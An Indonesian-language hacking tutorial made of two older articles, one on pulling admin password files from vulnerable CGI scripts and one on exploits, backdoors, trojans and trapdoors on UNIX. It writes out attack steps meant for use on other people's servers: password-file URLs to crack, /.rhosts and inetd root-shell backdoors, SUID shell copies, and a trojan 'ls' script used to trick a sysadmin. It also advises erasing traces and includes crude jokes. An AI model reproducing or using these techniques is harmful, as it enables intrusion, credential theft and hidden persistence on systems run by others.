Saya tahu bahwa saat ini anda sudah tidak sabar untuk segera memulai mempelajari beberapa tehnik dasar dalam hacking CGI-scripts, namun pertama-tama anda harus tahu sedikit tentang CGI-scripts itu sendiri. CGI adalah kependekan dari Common Gateway Interface. CGI-scripts adalah suatu perintah yang mengizinkan web browser berkomunikasi bahkan berinteraksi dengan program2 executable di server. Sebagai contoh ketika anda mendaftaftarkan diri (subscribe) pada suatu mailinglist (newsletter) maka alamat email anda akan segera didaftarkan ke beberapa mailinglist sehingga anda akan menerima email secara periodik. Proses ini sepenuhnya otomatis. Maksud otomatis disini yaitu tidak ada webmaster yang menunggu di depan komputer server untuk mendaftarkan email2 untuk dimasukkan ke dalam daftar mailinglist. Sebuah command CGI-scriptlah yang melakukan pekerjaan menjemukan itu. Contoh lainnya adalah Bulletin Board script. Ketika pengunjung suatu site mengirimkan pesannya ke bulletin board, s!
ebuah CGI-script akan merubah pesan tadi ke dalam suatu tampilan halaman html yang lebih menarik.


1.4 Hacking CGI-Scripts / menggunakan CGI-Scripts untuk hacking?

Hacking CGI-script atau menggunakan CGI-script untuk meng-hack? Ada perbedaan yang perlu anda ketahui disini diantara dua statement diatas. Menggunakan CGI-scripts untuk hacking disini adalah cara yang akan saya paparkan untuk mengeksploitasi kelemahan CGI untuk mendapatkan akses di komputer server ataupun mendapatkan informasi penting (seperti username dan password).


1.5 Mengapa (beberapa) CGI-Scripts sangat mudah di hack?

Kebanyakan script-script yang digunakan di internet adalah CGI-scripts yang didistribusikan secara gratis yang dibuat oleh sekelompok orang yang memang memiliki kemampuan dan meluangkan banyak waktu untuk
bereksperimen dibidang itu. Script-script ini tersedia secara bebas untuk digunakan oleh siapapun juga baik komersial maupun non komersial. Namun beberapa diantaranya memiliki problem keamanan yang sangat besar, yang dapat dengan mudah di exploitir oleh pihak ketiga yang bermaksud lain seperti memanfaatkan script tadi sebagai bumerang yang dapat membahayakan server. Jadi, mengapa script itu mudah sekali dihack? karena script-script tadi hanyalah script yang diciptakan oleh sekelompok orang untuk sekedar menyalurkan hoby saja, mereka tidak ambil pusing tentang keamanan script yang mereka ciptakan. Yah, namanya juga gratis, tapi justru karena gratis itu maka banyak website yang menggunakannya, itu artinya.. "Ada banyak korban yang berceceran di dunia cyber"


1.6 Kelemahan scripts dan bagaimana cara meng-hacknya?

Calendar CGI Script
-------------------
Satu dari sekian banyak kelemahan script yang telah ditemukan adalah calendar script. Seperti namanya, script ini memungkinkan anda untuk memberi calendar pada suatu site. Calendar script ini terletak pada directory cgi-bin dan kebanyakan pada subdirectory calendar. Nama file configurasinya adalah "calendar.cfg" berisi username dan password administrator dari webmaster yang berwewenang untuk mengakses setingan script. Data username dan password ini terdapat pada bagian bawah file calendar.cfg. Meskipun file ini dalam keadaan ter-encrypt, anda dapat dengan mudah men-decrypt file tsb dengan menggunakan software "Jhon the Ripper". Seringkali file calendar.cfg berlokasi di alamat ini:

http://www.situs-target.com/cgi-bin/calendar/calendar.cfg

Setelah anda berhasil mendapatkan password/username yang anda cari, anda dapat melakukan login di alamat ini:

http://www.situs-target.com/cgi-bin/calendar/calendar_admin.pl?admin


WebBBS Script
-------------
WebBBS adalah adalah Webbased Bulletin Board System. Directory WebBBS berisi profil dari pemakai Bulletin Board yang tentunya masing-masing memiliki account member. Bila anda bertanya, apakah password dari tiap2 anggota Bulletin Board terdapat disana? jawabnya adalah Betul sekali, meskipun password ini juga dalam keadaan ter-encrypt namun jangan khawatir, gunakanlah Jhon The Ripper untuk men-decryptnya.

Kemungkinan besar file berisi password tadi berada di lokasi ini:

http://www.situs-target.com/cgi-bin/webBBS/profiles/

WebAdverts Script oleh Darryl C. Burgdorf


WebAdverts Script adalah sebuah script yang mengizinkan webmaster untuk menampilkan rotasi banner/iklan di website mereka. Dengan menggunakan username dan password webmaster yang berada di zona ini maka anda dapat mengganti banner yang telah terpasang dengan banner anda sendiri, membuat banner baru, menghapus account dll

Lokasi dari file berisi password Webadverts adalah di:


http://www.situs-target.com/cgi-bin/advert/adpassword.txt

setelah anda mendapatkannya, anda dapat melakukan login di alamat:


http://www.foobar.com/cgi-bin/advert/ads_admin.pl

WWWBoard Script
---------------
WWWBoard adalah Bulletin Board yang kurang lebih hampir serupa dengan WebBBS yang telah saya jelaskan diatas. Bedanya jika suatu site menggunakan WWWBoard maka file yang anda cari adalah "password.txt" . Lakukan pencarian di:

../cgi-bin/wwwebboard atau di ../webboard/password.txt


Mailmachine Script
------------------
Mailmachine.cgi adalah web berbasis mailinglist. File yang dapat kita buru disini adalah "address.txt" yang berisi listing dari seluruh email address orang yang terdaftar (subscribed) pada mailinglist. Tidak mustahil anda dapat mengeluarkan (unsubscribe) salah seorang anggota mailinglist yang telah terdaftar disana bila anda telah login menjadi admin yang berwewenang di zona ini.

Kebanyakan dari beberapa CGI-Mailinglist yang ada memiliki kelemahan yang sama, yaitu menampilkan daftar command unsubscribe pada daftar email tiap2 anggota mailinglist. Hal ini tentu sangat riskan mengingat file berisi alamat email tersebut sangat mudah di dapat. Anda dapat mulai melakukan pencarian diantara beberapa alamat ini:

http://www.situs-target.com/cgi-bin/mailman/addresses.txt
http://www.situs-target.com/cgi-bin/maillist/addresses.txt
http://www.situs-target.com/cgi-bin/mail/addresses.txt

atau anda dapat pula melakukan pencarian di alamat yang sama dengan file address.txt

Seperti biasa, setelah anda mendapatkannya, lakukan login.. alamatnya:

http://www.situs-target.com/cgi-bin/maillist/subscribe.htm

Sebenarnya masih ada banyak sekali kelemahan CGI yang telah ditemukan (yaitu sekita 67 saat saya menulis artikel ini) namun tidak mungkin jika saya harus mengulasnya satu per satu. Paling tidak anda telah mendapat garis besar tentang CGI-scripts, selanjutnya anda dapat melakukan eksplorasi sendiri.


1.7 Bagaimana cara mencari situs yang memiliki kelemahan?

Ada tool menarik yang dapat anda gunakan untuk mendeteksi kelemahan dari CGI yaitu "CGI Vulnerability Scan" oleh Wang Products. Anda bisa mendapatkannya di alamat:

http://www.wangproducts.co.uk/

yang perlu anda lakukan dalam mencari security hole disini adalah menyiapkan daftar situs yang akan anda searching dg menggunakan tool tadi.




Penjelasan Eksploit, Trapdoor, Backdoor, dan Trojan Horse



Eksploit, Trapdoor, Backdoor, dan Trojan Horse dijelaskan
=========================================================


Artikel ini ditujukan untuk memandu mereka yang masih bingung dengan
terminologi sekuritas jaringan komputer seperti exploit, trojan, dll dan
ingin mengetahui konsep-konsep dasarnya. Terimakasih kepada staf kecoak
yang bersedia mempublikasikan artikel ini, terutama LithiumError dan BigD
yang telah memberikan masukan-masukan sangat berguna kepada kami. Seperti
biasa, ini hanyalah untuk tujuan informasi saja, dan mungkin sysadmin yang
membaca bisa menggunakan informasi ini untuk melindungi sistem dibawah
pengawasan mereka. Artikel ini berisi metode backdoor/trapdoor dan
kode-kode yang bisa langsung diterapkan, sebab kami ingin agar para
pembaca mengetahui bagaimana * tepatnya * metode ybs bekerja. Dan lagi,
menyensor informasi bukanlah urusan kami.

1. Eksploit
Sekarang tentunya kamu sudah asyik bermain-main dan bereksperimen dengan
shell UNIX baru yang baru kamu 'dapatkan'. Dan mungkin sekarang kamu sudah
mulai bertanya-tanya, "apa sih eksploit (exploit, 'sploits) itu?". Dalam
konteks per-hacking-an, eksploit tidaklah jauh berbeda dengan artinya
dalam konteks harfiah, yaitu 'pemanfaatan'. Tentunya eksploit-eksploit
'hacking' lebih spesifik lagi, yang kurang lebih bisa diartikan sebagai
'pemanfaatan kelemahan dari sebuah sistem untuk tujuan-tujuan yang diluar
dari penggunaan normal.' Kelemahan-kelemahan ini bisa berupa kesalahan
pemrograman, sesuatu yang tidak direncanakan oleh pemrogram asli, dan
lain-lain. Umumnya, yang jelas paling menarik perhatian kita, adalah
eksploit yang akan memberikan kita akses tidak terbatas ke seluruh aspek
dari sebuah sistem. Dalam UNIX, sering kita dengar istilah 'mengeksploit
program anu untuk mendapat privilese root'. Tentu saja mendapatkan 'root'
bukanlah satu-satunya tujuan pengeksploitan sistem. Seperti yang mungkin
anda sudah alami sendiri, kadang sebuah cacat dalam program seperti maild
atau ftpd bisa dimanfaatkan untuk tujuan 'header forging', 'ip spoofing',
'denial of service attack', dan 'mail bombing' (hello, Anton Pardede!).

Eksploit secara besar sering dibagi menjadi dua, yaitu eksploit lokal dan
eksploit remote. Eksploit lokal adalah jenis eksploit yang hanya bisa
dijalankan jika kamu sudah punya akses ke dalam suatu sistem (baik itu
melalui login telnet, ftp, dll). Eksploit jenis ini jumlahnya banyak,
sebab kamu sudah punya akses ke ribuan program yang berpotensi untuk
di-eksploit. Contoh - contoh dari eksploit jenis ini adalah buffer
overflow (i.e. mh di RedHat 5, SuperProbe, dll), race conditions (dimana
dua proses saling berlomba untuk menyelesaikan tugas masing-masing,
biasanya proses A disuruh untuk menjalankan suatu utilitas yang
membutuhkan privilese root temporer sementara proses B dirancang untuk
mencegat proses A sebelum proses A kembali statusnya ke privilese user
biasa, mengakibatkan di-spawn-nya shell beridentitas root - sering terjadi
di mesin-mesin IRIX dan SunOS.) Bagaimana caranya agar saya bisa
mendapatkan eksploit seperti ini? Tentu saja kamu bisa menghabiskan waktu
berjam-jam untuk mengutak-utik sebuah program sampai berhasil kamu jebol
(lebih baik dilakukan di kotak kamu sendiri), seperti para 'elite'
lainnya. Biasanya eksploit diprogram dengan C, perl, atau sh. Namun kalau
ilmu kungfu kamu masih kayak kami (dan emang bawaannya malas), banyak
eksploit yang sudah didokumentasi dan tersedia melalui websearch, atau di
situs-situs tertentu, seperti:
http://www.rootshell.com
http://www.antionline.com
http://www.rhino9.com
http://www.dhp.com/~fyodor
atau di situs kecoak, http://k-elektronik.org/arsip/eksploit

Eksploit jenis satunya lagi adalah eksploit remote, dimana kamu bisa
mengeksploit sistem tanpa mengetahui otorisasi user/password. Tentu saja
eksploit-eksploit jenis ini jauh lebih sedikit jumlahnya, dan terkadang
dampaknya juga tidak separah eksploit lokal. Lubang cgi phf adalah salah
satu contoh dari pemanfaatan eksploit remote untuk mendapatkan file
/etc/passwd (dulu LithErr pernah memberi resep cepat memanfaatkan phf).
Mungkin belum terlihat fatal, namun sekalinya sang 'cracker' berhasil
masuk ke dalam sistem memanfaatkan login dan password dari salah seorang
user, maka dia bisa menjalankan eksploit-eksploit lokal untuk mendapatkan
akses tak terbatas milik root. Eksploit port 143 (IMAPd) malahan lebih
gila lagi, dengan memberikan akses root tanpa password. Apa trik dan tip
yang kira-kira berguna untuk memanfaatkan eksploit-eksploit remote? Jelas
sebuah portscanner sangatlah bermanfaat untuk melihat port-port mana saja
yang menerima koneksi. Beberapa jenis 'scanner' lebih terfokus lagi,
seperti cgi scanner dari kecoak (roachscan) yang saat dijalankan akan
memeriksa direktori cgi-bin dari sejumlah server sekaligus, mencari file
password atau jalan masuk lainnya, melalui beberapa jenis eksploit umum.
Satu program lain yang mungkin ada gunanya adalah 'netcat', bisa didapat
dari http://www.l0pht.com. Untuk menghemat waktu, banyak cracker yang
menulis skrip otomasi, jalankan skrip, tinggal berikan daftar
target-target dan tinggalkan untuk sementara waktu. Kembali lagi sejam
atau dua jam kemudian, tinggal diperiksa server-server mana saja yang ada
lobangnya, bisa dieksploit atau tidak, dll (coba lihat artikel-artikel
mengenai scanning/probing di situs-situs hacker).

Terkadang ada juga eksploit yang tidak begitu jelas jenisnya, seperti
eksploit lynx mailer, yang walaupun kodenya sendiri terletak di host lain,
namun untuk digunakan masih perlu campurtangan dari user lokal untuk bisa
bekerja (saat user meng-click sebuah link, sang eksploit akan mengirimkan
file password ke alamat email tertentu.)

2. Backdoor

Seperti terjemahan harfiahnya, backdoor bisa dianggap 'pintu masuk lewat
belakang'. Backdoor berfungsi untuk memberikan sang programmer akses ke
suatu sistem, tanpa sepengetahuan user lain ataupun sang sysadmin. Tentu
saja sang programer di sini bisa juga diartikan 'sang penyusup'.
Seringkali backdoor memberikan akses tak terbatas kepada siapapun juga
yang mengetahui jalan masuknya. Walaupun tidak jarang vendor-vendor besar
(baik hardware maupun software ) yang sengaja menempatkan backdoor tak
terdokumentasi untuk kemudahan 'maintenance' dan sejenisnya, dalam artikel
ini yang dimaksud adalah backdoor dalam artian memberikan akses root ke
dalam sebuah sistem UNIX sebagai antisipasi jika sang sysadmin kebetulan
menyadari bahwa ada penyerang di dalam sistem.

Kamu sudah semalaman begadang, mencoba eksploit-eksploit remote, dan
berhasil masuk ke sebuah sistem dengan memanfaatkan login user dan segera
menjalankan eksploit-eksploit lokal untuk mengambil alih kekuasaan root.
Tentunya sayang jika saat sang sysadmin kembali bekerja di keesokan
harinya, akses kamu ditutup. Nah, disinilah manfaatnya kita menanam satu
atau lebih jalan masuk 'alternatif'. Jelas, sebagian besar teknik-teknik
backdooring hanya bisa diterapkan jika kamu mempunyai perizinan root.
Ingat, bahwa tujuan membuat backdoor bukanlah untuk mendapatkan akses
root, tetapi untuk mendapatkan akses root LAGI setelah sang sysadmin
menutup segala jalan masuk normal. Terkadang sysadmin sering menganggap
selama file-file /etc/hosts.deny telah dikonfigurasi, maka segala koneksi
dari host kamu akan ditolak. Tentu saja kalian-kalian, sang cracker,
kelihaian kung fu nya jauh di atas sang sysadmin, sebab tanpa
sepengetahuan beliau, telah kamu set up beberapa jalan masuk alternatif
dengan privilese root.

Nah, backdoor backdoor ini ada yang memang sudah dari sononya (seperti
Backdoor di router-router, printserver, dll buatan 3Com), namun disini
akan kami jelaskan cara membuat backdoor kamu sendiri di sebuah sistem
UNIX. Jalan termudah (dan yang paling gampang ditangkap) adalah dengan
melalui file /.rhosts:

korban# echo "indohack2.ri.go.id ganjaman" >> /.rhosts

perintah diatas akan menambah satu entri di file .rhosts (sistem luar
-dalam contoh diatas user ganjaman dari indohack2.ri.go.id - yang boleh
mengakses account tanpa password), dan untuk masuk kembali ke sistem dari
account "ganjaman" di indohack2.ri.go.id :

ganjaman@indohack2> rlogin -l root korban.lameisp.net.id

poof! shell root tanpa password!
Untuk kalian yang ingin sedikit lebih tersembunyi lagi, coba perhatikan
entri berikut dari file /etc/passwd sebuah sistem:

bin:*:3:7:Binaries Command and Source,,,:/bin:/bin/false

tentunya bagi mereka yang sering memanen password entri seperti di atas
sudah tidak asing lagi. Account diatas adalah account yang digunakan oleh
UNIX sistem secara internal. Seringkali banyak diantara crackers yang
mengambil jalan singkat dan menghapus karakter *, mengakibatkan telnet
dengan nama login "bin" tidak memerlukan password. Tapi ingatlah bahwa
file /etc/passwd biasanya adalah file pertama yang akan diperiksa oleh
sang sysadmin saat dia menyadari bahwa sistemnya telah kena susup. Agar
kita lebih sulit dideteksi, maka ada baiknya kita buat file .rhosts di
home directory milik bin. Kembali ke entri file password diatas, bisa kita
lihat bahwa walaupun kita bisa me- rlogin -l bin korban.lameisp.net.id,
namun kita masih juga tidak bisa mendapatkan shell sebab account 'bin'
dikonfigurasikan untuk menolak penggunaan shell. Cara mengatasi masalah
ini tentunya dengan membuat link dari /bin/false ke /bin/sh atau
/bin/tcsh. Apa daya seorang sysadmin? Tentunya jika mereka memang keren
kung fu nya, sang sysadmin akan mensetup sebuah skrip yang memeriksa
keberadaan file-file .rhosts di dalam sebuah sistem. Tak lupa merubah
entri dari account-account internal dari /bin/false ke /nggak-ada-tuh atau
string unik lainnya yang bukan merupakan nama file.

Metode backdooring lain adalah dengan memanfaatkan "in.rootd" (sebenernya
ini hanyalah rekayasa saja, sebab sepanjang pengetahuan kami, nggak ada
tuh yang namanya root daemon - tapi metode ini benar-benar cocok disebut
rootd) yang pada dasarnya bertugas untuk membuat sebuah lubang masuk lewat
salah satu port yang didefinisikan dalam "inetd":

root@korban# echo "ntcp 6969/tcp # Network Traffic Control Protocol" >>
/etc/services
root@korban# echo "ntcp stream tcp nowait root /bin/sh sh /tmp/crax0r" >>
/etc/inetd.conf
root@korban# echo "echo indohack2.ri.go.id > ~root/.rhosts" > /tmp/crax0r

menjalankan tiga perintah diatas bisa mengakibatkan kompromisasi sistem
yang cukup dahsyat, namun tidak akan segera tampak. Penjelasan dari ketiga
perintah diatas:
1. mengaktifkan protokol ntcp di port 6969 (tentunya kamu memilih nomor
port lain yang tidak begitu mencurigakan, silakan pilih mulai dari 1024
sampai 65000-an), sedangkan "Network Traffic Control Protocol" adalah
karangan kamu sendiri sebab setiap service harus punya nama, dan biasanya
sysadmin tidak akan begitu curiga dengan nama seperti itu.
2. memerintahkan sistem untuk menjalankan perintah /bin/sh sh /tmp/crax0r
setiapkali sang sistem menerima koneksi telnet lewat port 6969. Sayangnya
mengeksekusi sebuah shell berprivilese root lewat cara ini hanya akan
mengakibatkan sang sistem bengong, sebab kita tidak bisa memberikan
perintah-perintah selayaknya kita login lewat jalur normal. Sang shell
akan tetap dijalankan, namun tidak akan bisa mengeksekusi perintah kita.
Untuk itulah kita buat satu skrip di direktori /tmp/crax0r (tentunya kamu
lebih pintar dan memilih nama yang tidak begitu mencurigakan seperti
/tmp/dev001).
3. Nah, perintah ketiga ini lah yang akan dieksekusi oleh sang shell yang
baru saja kita luncurkan (id=0 - root!). Tentunya kamu bisa saja menulis
skrip yang lebih kompleks. Namun untuk menghemat tempat, kita lancarkan
saja perintah yang sudah dibahas diatas, yaitu menambahkan entri dari
mesin host kita ke file .rhosts milik root.
Tentu jika sang admin memang keren kung funya, rlogind akan
dikonfigurasikan untuk tidak mengindahkan file .rhosts, namun jika kamu
periksa isi direktori dan file "history" milik root dan isinya menunjukkan
bahwa sang sysadmin tidak begitu melek soal keamanan, maka metode diatas
akan memberikan jalan masuk lewat belakang ke dalam sistem target (idih,
kesannya kayak cerita-cerita porno anal seks aja!). Sekarang kamu tinggal:

ganjaman@indohack2> telnet korban.lameisp.net.id 6969

nah, sistem kamu akan tersambung ke sistem target lewat port 6969,
sedangkan daemon inet di mesin korban akan menerima sambungan tersebut,
menjalankan perintah dalam skrip /tmp/crax0r dengan privilese root, dan
dengan segera menutup kembali sambungan telnet. Sekarang .rhosts milik
root sudah ditambahi satu entri lagi, yaitu nama host kamu. Untuk kembali
menggarap sistem target (sebaiknya dilakukan saat itu juga, sebab sang
sysadmin mungkin akan curiga melihat skrip 'asing' dijalankan lewat port
6969) kamu tinggal:

ganjaman@indohack2> rlogin -l root korban.lameisp.net.id

dan, BOOM!

korban#

shell root tanpa password! (Nah, sekarang kamu boleh kirim surat penggemar
ke indohack@hotmail.com, bertitel "Terimakasih, suhu Ganjaman dan
SuperCock, atas ilmu ngent… engin badannya …" :) ). Tapi ingatlah untuk
segera menghapus file .rhosts dan jejak jejak lain. Tentunya kalau kung fu
kamu emang udah cukup tinggi, teknik menyembunyikan diri dan antideteksi
udah bukan barang asing bagi kamu, jadi, jangan lupa aktifkan segala
spoofer program, dll. Kalau kamu benar-benar suka mengutak-utik, serangan
bisa dibuat dengan lebih tersembunyi lagi, seperti dengan memanfaatkan
service-service yang jarang (hampir tidak pernah dipakai) seperti
utilitas-utilitas X, segala utilitas berkepala "r", dan banyak lagi.

Metode lain yang cukup populer adalah dengan membuat sebuah file dengan
bit SUID tambahan, namun cara ini gampang terdeteksi jika kebetulan sistem
mempunyai program audit keamanan yang akan mensensus seluruh file berbit
SUID yang terletak diluar lokasi-lokasi wajar (seperti /tmp atau lokasi
homedir user). Ide yang lebih mantap lagi adalah dengan memodifikasi suatu
program yang sudah berjalan / terinstal secara default, seperti xterm dan
splitvt, sehingga sebuah option rootshell akan secara otomatis
execv("/bin/sh", "sh", NULL);.

Kalau kamu emang pendekar asli (dan entah kenapa sedang membaca artikel
kelas kacangan ini), kamu bisa modifikasi daemon-daemon yang sedang
berjalan untuk menerima perintah-perintah hasil karangan kamu sendiri.
Berikut adalah cuplikan dari metode milik Hacker nagageni 212 yang telah
berhasil memodifikasi program sendmail di server korban.com (PSM=Pukulan
Sinar Matahari):
212@GG> telnet korban.com 25
Trying mesin.korban.com …
Connected to mesin.korban.com.
Escape character is '^]'.
220 mesin.korban.com ESMTP Sendmail 8.8.5/8.8.5; … [snip] …
PSM_EXEC /bin/cp /bin/sh /tmp/elit
Done … master!
PSM_EXEC /bin/chmod 4755 /tmp/elit
Done … master!

Jika menurut kamu cuplikan diatas sudah cukup familiar, maka kami dengan
segala kerendahan hati minta izin untuk berguru!

3 Trojan Horse
===============
Tidak akan banyak penjelasan mengenai metode ini, sebab pada umumnya
Trojan Horse hanya efektif jika kamu betul-betul pintar menutupi suatu
program atau jika sang sysadmin memang betul-betul tolol. Pada prinsipnya,
Trojan Horse adalah program yang mempunyai 'feature' gelap. Misalnya kamu
membuat sebuah game yang cukup heboh dan kamu dengan sengaja menyelipkan
perintah untuk membuka akses di dalam kode game kamu, sedemikian rupa
sehingga saat sang sysadmin menjalankan program tersebut, tanpa
disadarinya file .rhosts nya telah ketambahan sesuatu. Kami kenal seorang
hacker yang lihai menulis skrip IRC, dan skrip IRC-nya kebetulan mempunyai
banyak peminat. Beberapa 'lamers' mendownload skrip tersebut tanpa
menyadari bahwa sang skrip menyelipkan beberapa perintah untuk mengizinkan
akses tak berpassword kepada sang penulis asli skrip. (Hello, Tut!)

4 Trapdoor
===========
Banyak persamaan antara Trapdoor dengan Backdoor dan Trojan Horse, namun
dalam artikel ini, 'Trapdoor' diasumsikan sebagai cara yang bisa kita
gunakan untuk menjebak (trap) sang sysadmin untuk memberikan kita akses
root kedalam sistem. Seringkali kita terbentur masalah sistem operasi yang
paling gres, atau sebuah sistem dimana hampir semua eksploit untuk
mendapatkan root tidak berjalan sama sekali (patched systems). Jangan
putus asa! Masih banyak metode yang bisa kita terapkan untuk membuat sang
sysadmin tertipu, berakibat dibukanya akses ke dalam sistem. Misalkan kamu
sudah berhari-hari mengoprek sebuah target dengan menggunakan account dan
password seorang user biasa hasil colongan lewat phf, dan sayangnya tidak
ada exploit yang mempan. Nah, sudah saatnya kita terapkan metode Trapdoor.
Berikut adalah metode Trapdoor yang walaupun sederhana, masih saja bisa
mengelabui puluhan sysadmin diluar sana.

Pertama-tama, kamu perlu merubah perizinan homedir kamu (atau homedir
milik user yang accountnya kamu 'pinjam'):

user1@korban> chmod 700 ~/.

Nah, karena sekarang homedir kamu bermode 700, sang syadmin perlu
mengganti privilesenya ke root jika beliau ingin memeriksa isi direktori
ybs. Nah, langkah berikutnya adalah membuat sebuah skrip yang bertugas
untuk bertingkahlaku selayaknya perintah biasa, namun diluar pengetahuan
sang admin, justru membuka satu (atau beberapa) kelemahan dalam sistem.
Yang langsung terpikir olehmu, jelas, perintah ls. Disinilah letak
kelemahan UNIX dibanding … uh, MS-DOS. Dalam UNIX, seorang sysadmin yang
baik selalu mengetik 'full pathname' dari program manapun yang dia
jalankan (seperti /bin/ls atau /usr/sbin/vi index.html), dan untuk tujuan
kemudahan, biasanya /bin atau /usr/sbin sudah dimasukkan dalam daftar
search path. Jadi jika misalnya sang sysadmin melakukan:

root# pwd
/usr/home/staff/user1
root# ls

maka yang dijalankan adalah program /bin/ls. Apa akibatnya jika kebetulan
dalam direktori /usr/home/staff/user1 kita letakkan sebuah skrip bernama
'ls'? Heheheh … cukup menarik, khan. Nah, sekarang kita bisa buat sebuah
skrip yang berisi:

#!/bin/sh
cp /bin/sh /tmp/vi-save-902887
chown root /tmp/vi-save-902887
chmod 4755 /tmp/vi-save-902887
rm ./ls
ls

simpan skrip tersebut di homedir user1, beri nama "ls" dan

user1@korban> chmod +x ls

sekarang tinggal pintar-pintarnya kamu mengakali sang sysadmin untuk
mengecek isi homedir user1. Jika kamu kebetulan punya login/passwd untuk
user2 di mesin yang sama, maka kamu bisa saja 'mengundang' sang admin.
Login sebagai user1, dan kirim imel

user1@korban> mail root@localhost
Subject: "Heheheh … Kena garap dari belakang!"
Hello sysadmin tolol! Mesin kamu sudah kebobolan!
ttd,
God of All Hackers, Virus Researchers and Lame Mailbombers,
Phardera
.

Saat menerima imel ini, sang Syadmin pun akan segera memeriksa isi homedir
user1 (dengan perintah ls, tentunya), dan tanpa disadari sang sysadmin
telah menciptakan sebuah shell root di /tmp/vi-save-902887. Dan, karena
vi-save-902887 ber-SUID root, kamu bisa melakukan bermacam-macam hal
menyenangkan dengannya. Tinggal login sebagai user2 beberapa waktu
kemudian, dan nikmati ketenangan pikiran lewat shell root! Heheheh …

Penutup
=======

Begitu dulu, deh, penjelasan dari kami. Semoga ada gunannya untuk kalian
semua.